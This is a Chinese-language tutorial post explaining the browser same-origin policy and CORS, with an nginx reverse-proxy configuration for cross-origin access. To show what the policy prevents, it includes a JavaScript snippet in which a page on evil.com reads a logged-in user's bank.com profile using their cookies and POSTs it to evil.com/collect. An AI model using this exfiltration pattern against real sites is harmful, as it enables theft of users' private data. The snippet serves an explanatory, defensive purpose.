浏览器的同源策略以及跨源问题 ( 浏览器的同域策略以及跨域问题)

浏览器的同源策略以及跨源问题

这里的"源"也可称为"域": 浏览器的同域策略以及跨域问题

"源"

源 = 协议 + 主机 + 端口 (如:http://192.168.0.0.1:8080

"同源"即是指协议、主机、端口三者都完成相同。

与url :http://store.company.com/dir/page.html的源进行比较示例如下:

URL 结果 原因
http://store.company.com/dir2/other.html 同源 只有路径不同
http://store.company.com/dir/inner/another.html 同源 只有路径不同
https://store.company.com/secure.html 失败 协议不同
http://store.company.com:81/dir/etc.html 失败 端口不同(http:// 默认端口是 80)
http://news.company.com/dir/other.html 失败 主机不同

什么事同源策略?

同源策略(Same-Origin Policy)是浏览器最基础、最重要的安全机制。它规定:只有协议、域名、端口完全相同的两个页面,才能相互访问对方的资源(如 DOM、Cookie、LocalStorage)或发送任意请求并读取响应。

出于安全性,浏览器限制脚本内发起的跨源 HTTP 请求。例如,XMLHttpRequest 和 Fetch API 遵循同源策略。这意味着使用这些 API 的 Web 应用程序只能从加载应用程序的同一个域请求 HTTP 资源,除非响应报文包含了正确 CORS 响应头。

浏览器没有同源策略会发生什么?同源策略的作用

  • 攻击前提
  1. 用户已登录 https://bank.com,浏览器保存了该网站的会话 Cookie(比如 SESSIONID=abc123)。

  2. Cookie 未设置 HttpOnly、SameSite 等额外保护(仅为了简化演示)。

  • 攻击步骤(假设没有同源策略)
  1. 用户访问恶意网站 https://evil.com

  2. evil.com 的页面包含如下 JavaScript:

javascript 复制代码
fetch('https://bank.com/api/user/profile', {
    credentials: 'include'   // 发送 Cookie
})
.then(res => res.json())
.then(userData => {
    // 将用户数据(姓名、余额、身份证号等)发送给攻击者
    fetch('https://evil.com/collect', {
        method: 'POST',
        body: JSON.stringify(userData)
    });
});
  1. 浏览器执行该代码,因为目标域名是 bank.com,请求会自动携带 bank.com 的 Cookie。

  2. 服务器 bank.com 认为请求携带有效会话,返回用户敏感信息(JSON 格式)。

  3. 如果没有同源策略,脚本可以读取这个响应,从而将用户隐私发送到攻击者服务器。

同源策略如何防御?

  • 浏览器的 fetch / XHR 遵循同源策略:允许发送跨域请求,但禁止脚本读取响应。

  • 执行上述代码时,浏览器会检查 bank.com 的响应头中是否包含:

    Access-Control-Allow-Origin: https://evil.com或*(且未携带凭证时)

  • 由于 bank.com 没有返回该头,浏览器会抛出 CORS 错误:

    Access to fetch at 'https://bank.com/api/user/profile' from origin 'https://evil.com' has been blocked by CORS policy.

  • userData 无法获取,敏感信息不会泄露。

补充说明

  • 即使服务器返回了 Access-Control-Allow-Origin: *,如果请求携带了 credentials: 'include'(即 Cookie),浏览器也会拒绝,因为通配符 * 不允许与凭证一起使用。

  • 若要安全地开放跨域读取,服务器必须明确指定具体源,例如:

    Access-Control-Allow-Origin: https://trusted.com

    Access-Control-Allow-Credentials: true

其他作用

跨域资源访问 (CORS)

浏览器有了同源策略的限制,那浏览器还能实现不同源之间的访问吗? 可以!通过跨域资源共享(CORS)来实现

跨源 HTTP 请求的一个例子:运行在 https://domain-a.com 的 JavaScript 代码使用 XMLHttpRequest 来发起一个到 https://domain-b.com/data.json的请求。

CORS是一种基于 HTTP 头的机制,该机制通过允许服务器标示除了它自己以外的其他源(域、协议或端口),使得浏览器允许这些源访问加载自己的资源。

方法一

上面已经提到过了:在 源https://domain-b.com/服务器端配置响应头

Access-Control-Allow-Origin: https://domain-a.com

以允许源 https://domain-a.com访问

方法二

无法在源https://domain-b.com/服务器完成响应头配置时,可使用nginx反向代理以实现跨域请求。nginx主要配置如下:

复制代码
    server {
        listen       80;
        server_name  localhost;

        #access_log  logs/host.access.log  main;

        location / {
		    proxy_pass https://domain-a.com;
            root   html;
            index  index.html index.htm;
        }
		
		location /proxy/nginx/ {
		    proxy_pass https://domain-b.com/; 
            root   html;
            index  index.html index.htm;
        }
   }

参考:

跨源资源共享(CORS)https://developer.mozilla.org

浏览器的同源策略 https://developer.mozilla.org/

相关推荐
曲幽1 天前
你的REST接口还在“过度投喂”数据吗?——FastAPI + GraphQL实战避坑指南
python·fastapi·web·graphql·route·cors·rest·strawberry
带刺的坐椅3 天前
Spring Boot → Solon 注解迁移实战指南:一张对照表说清楚
java·springboot·web·solon
牛奶4 天前
如何自己写一个浏览器插件?
前端·chrome·浏览器
爱勇宝5 天前
我给自己做了一个新标签页:不登录、不打扰、打开就能用
前端·html·浏览器
曲幽7 天前
刚部署的 LibreTranslate 频频翻车?我掏出了 20 年前的 StarDict 词典,用 FastAPI 搭了个本地词典翻译 API
python·fastapi·web·translate·goldendict·libretranslate·stardict·pystardict
曲幽8 天前
别再用网页翻译看源码了!你的私人翻译神器LibreTranslate,部署避坑指南来了
python·docker·web·pot·translate·libretranslate·arogstranslate
怕浪猫9 天前
Playwright 的 CDP Session 机制详解
浏览器·ai编程·自动化运维
llz_11214 天前
web-第四次课后作业
前端·spring boot·web
小碗细面14 天前
ego lite:让 AI Agent 操作浏览器快 3 倍的秘密 ⭐
浏览器·ai编程
Patrick_Wilson15 天前
Cookie 作用域避坑:父域泄漏、同名优先级与多环境隔离
前端·http·浏览器